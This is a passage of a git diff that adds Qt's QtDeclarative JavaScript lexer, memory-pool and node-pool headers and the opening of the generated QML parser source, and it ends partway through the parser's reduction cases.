+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEJSLEXER_P_H
+#define QDECLARATIVEJSLEXER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativejsglobal_p.h"
+
+#include <QtCore/QString>
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+
+class Engine;
+class NameId;
+
+class QML_PARSER_EXPORT Lexer
+{
+public:
+ Lexer(Engine *eng, bool tokenizeComments = false);
+ ~Lexer();
+
+ void setCode(const QString &c, int lineno);
+ int lex();
+
+ int currentLineNo() const { return yylineno; }
+ int currentColumnNo() const { return yycolumn; }
+
+ int tokenOffset() const { return startpos; }
+ int tokenLength() const { return pos - startpos; }
+
+ int startLineNo() const { return startlineno; }
+ int startColumnNo() const { return startcolumn; }
+
+ int endLineNo() const { return currentLineNo(); }
+ int endColumnNo() const
+ { int col = currentColumnNo(); return (col > 0) ? col - 1 : col; }
+
+ bool prevTerminator() const { return terminator; }
+
+ enum State { Start,
+ Identifier,
+ InIdentifier,
+ InSingleLineComment,
+ InMultiLineComment,
+ InNum,
+ InNum0,
+ InHex,
+ InOctal,
+ InDecimal,
+ InExponentIndicator,
+ InExponent,
+ Hex,
+ Octal,
+ Number,
+ String,
+ Eof,
+ InString,
+ InEscapeSequence,
+ InHexEscape,
+ InUnicodeEscape,
+ Other,
+ Bad };
+
+ enum Error {
+ NoError,
+ IllegalCharacter,
+ UnclosedStringLiteral,
+ IllegalEscapeSequence,
+ IllegalUnicodeEscapeSequence,
+ UnclosedComment,
+ IllegalExponentIndicator,
+ IllegalIdentifier
+ };
+
+ enum ParenthesesState {
+ IgnoreParentheses,
+ CountParentheses,
+ BalancedParentheses
+ };
+
+ enum RegExpBodyPrefix {
+ NoPrefix,
+ EqualPrefix
+ };
+
+ bool scanRegExp(RegExpBodyPrefix prefix = NoPrefix);
+
+ NameId *pattern;
+ int flags;
+
+ State lexerState() const
+ { return state; }
+
+ QString errorMessage() const
+ { return errmsg; }
+ void setErrorMessage(const QString &err)
+ { errmsg = err; }
+ void setErrorMessage(const char *err)
+ { setErrorMessage(QString::fromLatin1(err)); }
+
+ Error error() const
+ { return err; }
+ void clearError()
+ { err = NoError; }
+
+private:
+ Engine *driver;
+ int yylineno;
+ bool done;
+ char *buffer8;
+ QChar *buffer16;
+ uint size8, size16;
+ uint pos8, pos16;
+ bool terminator;
+ bool restrKeyword;
+ // encountered delimiter like "'" and "}" on last run
+ bool delimited;
+ int stackToken;
+
+ State state;
+ void setDone(State s);
+ uint pos;
+ void shift(uint p);
+ int lookupKeyword(const char *);
+
+ bool isWhiteSpace() const;
+ bool isLineTerminator() const;
+ bool isHexDigit(ushort c) const;
+ bool isOctalDigit(ushort c) const;
+
+ int matchPunctuator(ushort c1, ushort c2,
+ ushort c3, ushort c4);
+ ushort singleEscape(ushort c) const;
+ ushort convertOctal(ushort c1, ushort c2,
+ ushort c3) const;
+public:
+ static unsigned char convertHex(ushort c1);
+ static unsigned char convertHex(ushort c1, ushort c2);
+ static QChar convertUnicode(ushort c1, ushort c2,
+ ushort c3, ushort c4);
+ static bool isIdentLetter(ushort c);
+ static bool isDecimalDigit(ushort c);
+
+ inline int ival() const { return qsyylval.ival; }
+ inline double dval() const { return qsyylval.dval; }
+ inline NameId *ustr() const { return qsyylval.ustr; }
+
+ const QChar *characterBuffer() const { return buffer16; }
+ int characterCount() const { return pos16; }
+
+private:
+ void record8(ushort c);
+ void record16(QChar c);
+ void recordStartPos();
+
+ int findReservedWord(const QChar *buffer, int size) const;
+
+ void syncProhibitAutomaticSemicolon();
+
+ const QChar *code;
+ uint length;
+ int yycolumn;
+ int startpos;
+ int startlineno;
+ int startcolumn;
+ int bol; // begin of line
+
+ union {
+ int ival;
+ double dval;
+ NameId *ustr;
+ } qsyylval;
+
+ // current and following unicode characters
+ ushort current, next1, next2, next3;
+
+ struct keyword {
+ const char *name;
+ int token;
+ };
+
+ QString errmsg;
+ Error err;
+
+ bool wantRx;
+ bool check_reserved;
+
+ ParenthesesState parenthesesState;
+ int parenthesesCount;
+ bool prohibitAutomaticSemicolon;
+ bool tokenizeComments;
+};
+
+} // namespace QDeclarativeJS
+
+QT_QML_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/qml/parser/qdeclarativejsmemorypool_p.h b/src/declarative/qml/parser/qdeclarativejsmemorypool_p.h
new file mode 100644
index 00000000..79941ecc
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsmemorypool_p.h
@@ -0,0 +1,133 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEJSMEMORYPOOL_P_H
+#define QDECLARATIVEJSMEMORYPOOL_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativejsglobal_p.h"
+
+#include <QtCore/qglobal.h>
+#include <QtCore/qshareddata.h>
+
+#include <string.h>
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+
+class QML_PARSER_EXPORT MemoryPool : public QSharedData
+{
+public:
+ enum { maxBlockCount = -1 };
+ enum { defaultBlockSize = 1 << 12 };
+
+ MemoryPool() {
+ m_blockIndex = maxBlockCount;
+ m_currentIndex = 0;
+ m_storage = 0;
+ m_currentBlock = 0;
+ m_currentBlockSize = 0;
+ }
+
+ virtual ~MemoryPool() {
+ for (int index = 0; index < m_blockIndex + 1; ++index)
+ qFree(m_storage[index]);
+
+ qFree(m_storage);
+ }
+
+ char *allocate(int bytes) {
+ bytes += (8 - bytes) & 7; // ensure multiple of 8 bytes (maintain alignment)
+ if (m_currentBlock == 0 || m_currentBlockSize < m_currentIndex + bytes) {
+ ++m_blockIndex;
+ m_currentBlockSize = defaultBlockSize << m_blockIndex;
+
+ m_storage = reinterpret_cast<char**>(qRealloc(m_storage, sizeof(char*) * (1 + m_blockIndex)));
+ m_currentBlock = m_storage[m_blockIndex] = reinterpret_cast<char*>(qMalloc(m_currentBlockSize));
+ ::memset(m_currentBlock, 0, m_currentBlockSize);
+
+ m_currentIndex = (8 - quintptr(m_currentBlock)) & 7; // ensure first chunk is 64-bit aligned
+ Q_ASSERT(m_currentIndex + bytes <= m_currentBlockSize);
+ }
+
+ char *p = reinterpret_cast<char *>
+ (m_currentBlock + m_currentIndex);
+
+ m_currentIndex += bytes;
+
+ return p;
+ }
+
+ int bytesAllocated() const {
+ int bytes = 0;
+ for (int index = 0; index < m_blockIndex; ++index)
+ bytes += (defaultBlockSize << index);
+ bytes += m_currentIndex;
+ return bytes;
+ }
+
+private:
+ int m_blockIndex;
+ int m_currentIndex;
+ char *m_currentBlock;
+ int m_currentBlockSize;
+ char **m_storage;
+
+private:
+ Q_DISABLE_COPY(MemoryPool)
+};
+
+} // namespace QDeclarativeJS
+
+QT_QML_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/qml/parser/qdeclarativejsnodepool_p.h b/src/declarative/qml/parser/qdeclarativejsnodepool_p.h
new file mode 100644
index 00000000..f9160bd4
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsnodepool_p.h
@@ -0,0 +1,139 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEJSNODEPOOL_P_H
+#define QDECLARATIVEJSNODEPOOL_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativejsglobal_p.h"
+#include "private/qdeclarativejsmemorypool_p.h"
+
+#include <QtCore/QHash>
+#include <QtCore/QString>
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+
+namespace AST {
+class Node;
+} // namespace AST
+
+class Code;
+class CompilationUnit;
+class Engine;
+
+template <typename NodeType>
+inline NodeType *makeAstNode(MemoryPool *storage)
+{
+ NodeType *node = new (storage->allocate(sizeof(NodeType))) NodeType();
+ return node;
+}
+
+template <typename NodeType, typename Arg1>
+inline NodeType *makeAstNode(MemoryPool *storage, Arg1 arg1)
+{
+ NodeType *node = new (storage->allocate(sizeof(NodeType))) NodeType(arg1);
+ return node;
+}
+
+template <typename NodeType, typename Arg1, typename Arg2>
+inline NodeType *makeAstNode(MemoryPool *storage, Arg1 arg1, Arg2 arg2)
+{
+ NodeType *node = new (storage->allocate(sizeof(NodeType))) NodeType(arg1, arg2);
+ return node;
+}
+
+template <typename NodeType, typename Arg1, typename Arg2, typename Arg3>
+inline NodeType *makeAstNode(MemoryPool *storage, Arg1 arg1, Arg2 arg2, Arg3 arg3)
+{
+ NodeType *node = new (storage->allocate(sizeof(NodeType))) NodeType(arg1, arg2, arg3);
+ return node;
+}
+
+template <typename NodeType, typename Arg1, typename Arg2, typename Arg3, typename Arg4>
+inline NodeType *makeAstNode(MemoryPool *storage, Arg1 arg1, Arg2 arg2, Arg3 arg3, Arg4 arg4)
+{
+ NodeType *node = new (storage->allocate(sizeof(NodeType))) NodeType(arg1, arg2, arg3, arg4);
+ return node;
+}
+
+class QML_PARSER_EXPORT NodePool : public MemoryPool
+{
+public:
+ NodePool(const QString &fileName, Engine *engine);
+ virtual ~NodePool();
+
+ Code *createCompiledCode(AST::Node *node, CompilationUnit &compilation);
+
+ inline QString fileName() const { return m_fileName; }
+ inline Engine *engine() const { return m_engine; }
+#ifndef J_SCRIPT_NO_EVENT_NOTIFY
+ inline qint64 id() const { return m_id; }
+#endif
+
+private:
+ QHash<AST::Node*, Code*> m_codeCache;
+ QString m_fileName;
+ Engine *m_engine;
+#ifndef J_SCRIPT_NO_EVENT_NOTIFY
+ qint64 m_id;
+#endif
+
+private:
+ Q_DISABLE_COPY(NodePool)
+};
+
+} // namespace QDeclarativeJS
+
+QT_QML_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/qml/parser/qdeclarativejsparser.cpp b/src/declarative/qml/parser/qdeclarativejsparser.cpp
new file mode 100644
index 00000000..da2dd7e5
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsparser.cpp
@@ -0,0 +1,1904 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtCore/QtDebug>
+#include <QtGui/QApplication>
+
+#include <string.h>
+
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+
+
+
+#include "private/qdeclarativejsparser_p.h"
+#include <QVarLengthArray>
+
+//
+// This file is automatically generated from qmljs.g.
+// Changes will be lost.
+//
+
+using namespace QDeclarativeJS;
+
+QT_QML_BEGIN_NAMESPACE
+
+void Parser::reallocateStack()
+{
+ if (! stack_size)
+ stack_size = 128;
+ else
+ stack_size <<= 1;
+
+ sym_stack = reinterpret_cast<Value*> (qRealloc(sym_stack, stack_size * sizeof(Value)));
+ state_stack = reinterpret_cast<int*> (qRealloc(state_stack, stack_size * sizeof(int)));
+ location_stack = reinterpret_cast<AST::SourceLocation*> (qRealloc(location_stack, stack_size * sizeof(AST::SourceLocation)));
+}
+
+inline static bool automatic(Engine *driver, int token)
+{
+ return token == QDeclarativeJSGrammar::T_RBRACE
+ || token == 0
+ || driver->lexer()->prevTerminator();
+}
+
+
+Parser::Parser(Engine *engine):
+ driver(engine),
+ tos(0),
+ stack_size(0),
+ sym_stack(0),
+ state_stack(0),
+ location_stack(0),
+ first_token(0),
+ last_token(0)
+{
+}
+
+Parser::~Parser()
+{
+ if (stack_size) {
+ qFree(sym_stack);
+ qFree(state_stack);
+ qFree(location_stack);
+ }
+}
+
+static inline AST::SourceLocation location(Lexer *lexer)
+{
+ AST::SourceLocation loc;
+ loc.offset = lexer->tokenOffset();
+ loc.length = lexer->tokenLength();
+ loc.startLine = lexer->startLineNo();
+ loc.startColumn = lexer->startColumnNo();
+ return loc;
+}
+
+AST::UiQualifiedId *Parser::reparseAsQualifiedId(AST::ExpressionNode *expr)
+{
+ QVarLengthArray<NameId *, 4> nameIds;
+ QVarLengthArray<AST::SourceLocation, 4> locations;
+
+ AST::ExpressionNode *it = expr;
+ while (AST::FieldMemberExpression *m = AST::cast<AST::FieldMemberExpression *>(it)) {
+ nameIds.append(m->name);
+ locations.append(m->identifierToken);
+ it = m->base;
+ }
+
+ if (AST::IdentifierExpression *idExpr = AST::cast<AST::IdentifierExpression *>(it)) {
+ AST::UiQualifiedId *q = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), idExpr->name);
+ q->identifierToken = idExpr->identifierToken;
+
+ AST::UiQualifiedId *currentId = q;
+ for (int i = nameIds.size() - 1; i != -1; --i) {
+ currentId = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), currentId, nameIds[i]);
+ currentId->identifierToken = locations[i];
+ }
+
+ return currentId->finish();
+ }
+
+ return 0;
+}
+
+bool Parser::parse(int startToken)
+{
+ Lexer *lexer = driver->lexer();
+ bool hadErrors = false;
+ int yytoken = -1;
+ int action = 0;
+
+ token_buffer[0].token = startToken;
+ first_token = &token_buffer[0];
+ last_token = &token_buffer[1];
+
+ tos = -1;
+ program = 0;
+
+ do {
+ if (++tos == stack_size)
+ reallocateStack();
+
+ state_stack[tos] = action;
+
+ _Lcheck_token:
+ if (yytoken == -1 && -TERMINAL_COUNT != action_index[action]) {
+ yyprevlloc = yylloc;
+
+ if (first_token == last_token) {
+ yytoken = lexer->lex();
+ yylval = lexer->dval();
+ yylloc = location(lexer);
+ } else {
+ yytoken = first_token->token;
+ yylval = first_token->dval;
+ yylloc = first_token->loc;
+ ++first_token;
+ }
+ }
+
+ action = t_action(action, yytoken);
+ if (action > 0) {
+ if (action != ACCEPT_STATE) {
+ yytoken = -1;
+ sym(1).dval = yylval;
+ loc(1) = yylloc;
+ } else {
+ --tos;
+ return ! hadErrors;
+ }
+ } else if (action < 0) {
+ const int r = -action - 1;
+ tos -= rhs[r];
+
+ switch (r) {
+
+case 0: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+
+case 1: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+
+case 2: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+
+case 3: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+
+case 4: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+
+case 5: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+
+case 6: {
+ sym(1).UiProgram = makeAstNode<AST::UiProgram> (driver->nodePool(), sym(1).UiImportList,
+ sym(2).UiObjectMemberList->finish());
+} break;
+
+case 8: {
+ sym(1).Node = sym(1).UiImportList->finish();
+} break;
+
+case 9: {
+ sym(1).Node = makeAstNode<AST::UiImportList> (driver->nodePool(), sym(1).UiImport);
+} break;
+
+case 10: {
+ sym(1).Node = makeAstNode<AST::UiImportList> (driver->nodePool(),
+ sym(1).UiImportList, sym(2).UiImport);
+} break;
+
+case 13: {
+ sym(1).UiImport->semicolonToken = loc(2);
+} break;
+
+case 15: {
+ sym(1).UiImport->versionToken = loc(2);
+ sym(1).UiImport->semicolonToken = loc(3);
+} break;
+
+case 17: {
+ sym(1).UiImport->versionToken = loc(2);
+ sym(1).UiImport->asToken = loc(3);
+ sym(1).UiImport->importIdToken = loc(4);
+ sym(1).UiImport->importId = sym(4).sval;
+ sym(1).UiImport->semicolonToken = loc(5);
+} break;
+
+case 19: {
+ sym(1).UiImport->asToken = loc(2);
+ sym(1).UiImport->importIdToken = loc(3);
+ sym(1).UiImport->importId = sym(3).sval;
+ sym(1).UiImport->semicolonToken = loc(4);
+} break;
+
+case 20: {
+ AST::UiImport *node = 0;
+
+ if (AST::StringLiteral *importIdLiteral = AST::cast<AST::StringLiteral *>(sym(2).Expression)) {
+ node = makeAstNode<AST::UiImport>(driver->nodePool(), importIdLiteral->value);
+ node->fileNameToken = loc(2);
+ } else if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(2).Expression)) {
+ node = makeAstNode<AST::UiImport>(driver->nodePool(), qualifiedId);
+ node->fileNameToken = loc(2);
+ }
+
+ sym(1).Node = node;
+
+ if (node) {
+ node->importToken = loc(1);
+ } else {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1),
+ QLatin1String("Expected a qualified name id or a string literal")));
+
+ return false; // ### remove me
+ }
+} break;
+
+case 21: {
+ sym(1).Node = 0;
+} break;
+
+case 22: {
+ sym(1).Node = makeAstNode<AST::UiObjectMemberList> (driver->nodePool(), sym(1).UiObjectMember);
+} break;
+
+case 23: {
+ sym(1).Node = makeAstNode<AST::UiObjectMemberList> (driver->nodePool(), sym(1).UiObjectMember);
+} break;
+
+case 24: {
+ AST::UiObjectMemberList *node = makeAstNode<AST:: UiObjectMemberList> (driver->nodePool(),
+ sym(1).UiObjectMemberList, sym(2).UiObjectMember);
+ sym(1).Node = node;
+} break;
+
+case 25: {
+ sym(1).Node = makeAstNode<AST::UiArrayMemberList> (driver->nodePool(), sym(1).UiObjectMember);
+} break;
+
+case 26: {
+ AST::UiArrayMemberList *node = makeAstNode<AST::UiArrayMemberList> (driver->nodePool(),
+ sym(1).UiArrayMemberList, sym(3).UiObjectMember);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 27: {
+ AST::UiObjectInitializer *node = makeAstNode<AST::UiObjectInitializer> (driver->nodePool(), (AST::UiObjectMemberList*)0);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 28: {
+ AST::UiObjectInitializer *node = makeAstNode<AST::UiObjectInitializer> (driver->nodePool(), sym(2).UiObjectMemberList->finish());
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 29: {
+ AST::UiObjectDefinition *node = makeAstNode<AST::UiObjectDefinition> (driver->nodePool(), sym(1).UiQualifiedId,
+ sym(2).UiObjectInitializer);
+ sym(1).Node = node;
+} break;
+
+case 31: {
+ AST::UiArrayBinding *node = makeAstNode<AST::UiArrayBinding> (driver->nodePool(),
+ sym(1).UiQualifiedId, sym(4).UiArrayMemberList->finish());
+ node->colonToken = loc(2);
+ node->lbracketToken = loc(3);
+ node->rbracketToken = loc(5);
+ sym(1).Node = node;
+} break;
+
+case 32: {
+ AST::UiObjectBinding *node = makeAstNode<AST::UiObjectBinding> (driver->nodePool(),
+ sym(1).UiQualifiedId, sym(3).UiQualifiedId, sym(4).UiObjectInitializer);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 33: {
+ AST::UiObjectBinding *node = makeAstNode<AST::UiObjectBinding> (driver->nodePool(),
+ sym(3).UiQualifiedId, sym(1).UiQualifiedId, sym(4).UiObjectInitializer);
+ node->colonToken = loc(2);
+ node->hasOnToken = true;
+ sym(1).Node = node;
+} break;
+case 34:case 35:case 36:case 37:
+{
+ AST::UiScriptBinding *node = makeAstNode<AST::UiScriptBinding> (driver->nodePool(),
+ sym(1).UiQualifiedId, sym(3).Statement);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 38:
+
+case 39: {
+ sym(1).sval = driver->intern(lexer->characterBuffer(), lexer->characterCount());
+ break;
+}
+
+case 41: {
+ sym(1).Node = 0;
+} break;
+
+case 42: {
+ sym(1).Node = sym(1).UiParameterList->finish ();
+} break;
+
+case 43: {
+ AST::UiParameterList *node = makeAstNode<AST::UiParameterList> (driver->nodePool(), sym(1).sval, sym(2).sval);
+ node->identifierToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 44: {
+ AST::UiParameterList *node = makeAstNode<AST::UiParameterList> (driver->nodePool(), sym(1).UiParameterList, sym(3).sval, sym(4).sval);
+ node->commaToken = loc(2);
+ node->identifierToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 46: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), (NameId *)0, sym(2).sval);
+ node->type = AST::UiPublicMember::Signal;
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(2);
+ node->parameters = sym(4).UiParameterList;
+ node->semicolonToken = loc(6);
+ sym(1).Node = node;
+} break;
+
+case 48: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), (NameId *)0, sym(2).sval);
+ node->type = AST::UiPublicMember::Signal;
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(2);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 50: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(4).sval, sym(6).sval);
+ node->typeModifier = sym(2).sval;
+ node->propertyToken = loc(1);
+ node->typeModifierToken = loc(2);
+ node->typeToken = loc(4);
+ node->identifierToken = loc(6);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+
+case 52: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(2).sval, sym(3).sval);
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(3);
+ node->semicolonToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 54: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(3).sval, sym(4).sval);
+ node->isDefaultMember = true;
+ node->defaultToken = loc(1);
+ node->propertyToken = loc(2);
+ node->typeToken = loc(3);
+ node->identifierToken = loc(4);
+ node->semicolonToken = loc(5);
+ sym(1).Node = node;
+} break;
+
+case 56: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(2).sval, sym(3).sval,
+ sym(5).Expression);
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(3);
+ node->colonToken = loc(4);
+ node->semicolonToken = loc(6);
+ sym(1).Node = node;
+} break;
+
+case 58: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(3).sval, sym(4).sval,
+ sym(6).Expression);
+ node->isReadonlyMember = true;
+ node->readonlyToken = loc(1);
+ node->propertyToken = loc(2);
+ node->typeToken = loc(3);
+ node->identifierToken = loc(4);
+ node->colonToken = loc(5);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+
+case 60: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(3).sval, sym(4).sval,
+ sym(6).Expression);
+ node->isDefaultMember = true;
+ node->defaultToken = loc(1);
+ node->propertyToken = loc(2);
+ node->typeToken = loc(3);
+ node->identifierToken = loc(4);
+ node->colonToken = loc(5);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+
+case 61: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(4).sval, sym(6).sval);
+ node->typeModifier = sym(2).sval;
+ node->propertyToken = loc(1);
+ node->typeModifierToken = loc(2);
+ node->typeToken = loc(4);
+ node->identifierToken = loc(6);
+ node->semicolonToken = loc(7); // insert a fake ';' before ':'
+
+ AST::UiQualifiedId *propertyName = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), sym(6).sval);
+ propertyName->identifierToken = loc(6);
+ propertyName->next = 0;
+
+ AST::UiArrayBinding *binding = makeAstNode<AST::UiArrayBinding> (driver->nodePool(),
+ propertyName, sym(9).UiArrayMemberList->finish());
+ binding->colonToken = loc(7);
+ binding->lbracketToken = loc(8);
+ binding->rbracketToken = loc(10);
+
+ node->binding = binding;
+
+ sym(1).Node = node;
+} break;
+
+case 62: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(2).sval, sym(3).sval);
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(3);
+ node->semicolonToken = loc(4); // insert a fake ';' before ':'
+
+ AST::UiQualifiedId *propertyName = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), sym(3).sval);
+ propertyName->identifierToken = loc(3);
+ propertyName->next = 0;
+
+ AST::UiObjectBinding *binding = makeAstNode<AST::UiObjectBinding> (driver->nodePool(),
+ propertyName, sym(5).UiQualifiedId, sym(6).UiObjectInitializer);
+ binding->colonToken = loc(4);
+
+ node->binding = binding;
+
+ sym(1).Node = node;
+} break;
+
+case 63: {
+ sym(1).Node = makeAstNode<AST::UiSourceElement>(driver->nodePool(), sym(1).Node);
+} break;
+
+case 64: {
+ sym(1).Node = makeAstNode<AST::UiSourceElement>(driver->nodePool(), sym(1).Node);
+} break;
+
+case 66: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_PROPERTY]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+
+case 67: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_SIGNAL]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+
+case 68: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_READONLY]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+
+case 69: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_ON]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+
+case 70: {
+ AST::ThisExpression *node = makeAstNode<AST::ThisExpression> (driver->nodePool());
+ node->thisToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 71: {
+ AST::IdentifierExpression *node = makeAstNode<AST::IdentifierExpression> (driver->nodePool(), sym(1).sval);
